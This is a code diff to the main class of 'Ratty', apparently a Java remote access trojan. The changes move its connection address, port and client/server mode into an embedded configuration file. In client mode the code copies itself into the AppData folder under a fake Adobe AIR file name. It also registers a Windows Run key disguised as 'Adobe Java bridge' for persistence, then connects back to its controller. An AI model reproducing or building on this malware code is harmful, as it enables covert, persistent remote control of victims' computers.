@ -17,31 +17,47 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
private static final int DISCONNECT_SLEEP_INTERVAL = 2500 ;
private static String address ;
private static int port ;
public static boolean client ;
private static final String FOLDER_NAME = "Adobe" + File . separator + "AIR" ;
private static final String FILE_NAME = "jre13v3bridge.jar" ;
private static final int CONNECTION_INTERVAL = 2500 ;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt" ;
private static final String STARTUP_FOLDER_NAME = "Adobe" + File . separator + "AIR" ;
private static final String STARTUP_FILE_NAME = "jre13v3bridge.jar" ;
private static final String STARTUP_FILE_PATH = System . getenv ( "APPDATA" ) + File . separator + STARTUP_FOLDER_NAME + File . separator + STARTUP_FILE_NAME ;
private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"" ;
public static final String ADDRESS = "localhost" ;
public static final int PORT = 23456 ;
public static final boolean CLIENT = false ;
public static final String VERSION = "1.0" ;
private Ratty ( ) {
/ / . . .
}
private static void readConnectionData ( ) throws NumberFormatException , ArrayIndexOutOfBoundsException {
final String [ ] lines = FileUtils . readInternalLines ( CONNECTION_DATA_FILE_NAME ) ;
if ( lines . length > = 3 ) {
final String addressString = lines [ 0 ] ;
final String portString = lines [ 1 ] ;
final String clientString = lines [ 2 ] ;
address = addressString ;
port = Integer . parseInt ( portString ) ;
client = Boolean . parseBoolean ( clientString ) ;
}
}
private static void addToStartup ( ) {
try {
final URI sourceUri = Ratty . class . getProtectionDomain ( ) . getCodeSource ( ) . getLocation ( ) . toURI ( ) ;
final String destinationPath = System . getenv ( "APPDATA" ) + File . separator + FOLDER_NAME + File . separator + FILE_NAME ;
final File source = new File ( sourceUri ) ;
final File destination = new File ( destinationPath ) ;
final String registryCommand = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + destinationPath + "\"" ;
final File destination = new File ( STARTUP_FILE_PATH ) ;
FileUtils . createFile ( destinationPath ) ;
FileUtils . createFile ( STARTUP_FILE_PATH ) ;
FileUtils . copy ( source , destination ) ;
Runtime . getRuntime ( ) . exec ( registryCommand ) ;
Runtime . getRuntime ( ) . exec ( REGISTRY_COMMAND ) ;
} catch ( final URISyntaxException | IOException ex ) {
ex . printStackTrace ( ) ;
}
@ -53,7 +69,7 @@ public final class Ratty {
if ( ! newClient . isOpen ( ) ) {
try {
Thread . sleep ( DISCONNECT_SLEEP _INTERVAL) ;
Thread . sleep ( CONNECTION _INTERVAL) ;
} catch ( final InterruptedException ex ) {
ex . printStackTrace ( ) ;
} finally {
@ -79,10 +95,11 @@ public final class Ratty {
public static void main ( final String [ ] args ) {
WebLookAndFeel . install ( ) ;
readConnectionData ( ) ;
if ( CLIENT ) {
if ( client ) {
addToStartup ( ) ;
connectToHost ( ADDRESS , PORT ) ;
connectToHost ( address , port ) ;
} else {
final String [ ] options = { "Server" , "Client" } ;
final int input = JOptionPane . showOptionDialog ( null , "Server or client?" , "Choose" , JOptionPane . YES_NO_OPTION , JOptionPane . QUESTION_MESSAGE , null , options , null ) ;
@ -90,11 +107,11 @@ public final class Ratty {
if ( input = = JOptionPane . YES_OPTION ) {
System . out . println ( "Starting server" ) ;
startServer ( PORT ) ;
startServer ( port ) ;
} else if ( input = = JOptionPane . NO_OPTION ) {
System . out . println ( "Starting client" ) ;
connectToHost ( ADDRESS , PORT ) ;
connectToHost ( address , port ) ;
}
}
}